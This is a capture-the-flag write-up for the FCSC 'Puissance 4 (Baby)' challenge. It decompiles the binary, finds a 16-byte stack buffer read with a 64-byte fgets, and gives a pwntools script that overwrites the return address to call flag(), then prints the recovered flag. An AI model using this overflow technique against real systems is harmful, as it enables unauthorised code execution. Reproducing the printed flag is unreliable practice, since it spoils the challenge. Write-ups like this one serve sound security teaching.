Vexcited's Logo

Puissance 4 (Baby)

We’re given a binary, let’s use IDA to decompile its main() function.

int __fastcall main(int argc, const char **argv, const char **envp) {
  unsigned int v3; // eax
  char *v4; // rax
  int v5; // ebx

  setbuf(stdout, nullptr);
  v3 = time(nullptr);
  srand(v3);
  v4 = (char *)&board;
  do
  {
    *v4 = 46;
    v4[1] = 46;
    v4[2] = 46;
    v4[3] = 46;
    v4[4] = 46;
    v4[5] = 46;
    v4[6] = 46;
    v4 += 7;
  }
  while ( &unk_4040CA != (_UNKNOWN *)v4 );
  puts("Welcome to FCSC 4!");
  v5 = 42;
  while ( 1 )
  {
    print_board();
    player_turn();
    if ( (unsigned int)check_win(88) )
    {
      win();
      goto LABEL_9;
    }
    ai_turn();
    if ( (unsigned int)check_win(79) )
      break;
    if ( !--v5 )
      goto LABEL_9;
  }
  loose();
LABEL_9:
  print_board();
  return 0;
}

We’re prompted to play when it’s our turn, so let’s dig into player_turn().

__int64 player_turn() {
  unsigned int v0; // eax
  char s[16]; // [rsp+8h] [rbp-10h] BYREF

  printf("Your move [0 - %d]: ", 6);
  fgets(s, 64, stdin);
  v0 = strtol(s, nullptr, 10);
  return drop(v0, 88);
}

s is 16 characters and we can overflow!

Where should we go?

When looking at the functions tab, we see a flag() function.

int flag() {
  FILE *v0; // rax
  FILE *v1; // rbp
  char v3[152]; // [rsp+0h] [rbp-98h] BYREF

  v0 = fopen("flag.txt", "r");
  if ( !v0 )
    return puts("Could not open flag.txt");
  v1 = v0;
  while ( fgets(v3, 128, v1) )
    fputs(v3, stdout);
  return fclose(v1);
}

Bingo! Let’s keep its address 00000000004011D6.

Flag

In summary, we have to send 16 random characters and finally append the flag() function address.

from pwn import *

p = remote("challenges.fcsc.fr", 2201)
p.send(b"AAAAAAAAAAAAAAAA" + b"\xD6\x11\x40\x00\x00\x00\x00\x00\n")
print(p.recvall())
b'Welcome to FCSC 4!\n.......\n.......\n.......\n.......\n.......\n.......\nYour move [0 - 6]: FCSC{77adfc95029e73b173f60e556f915b0cd8850848111358b1c370fb7c154e61fd}\n'

This is our flag!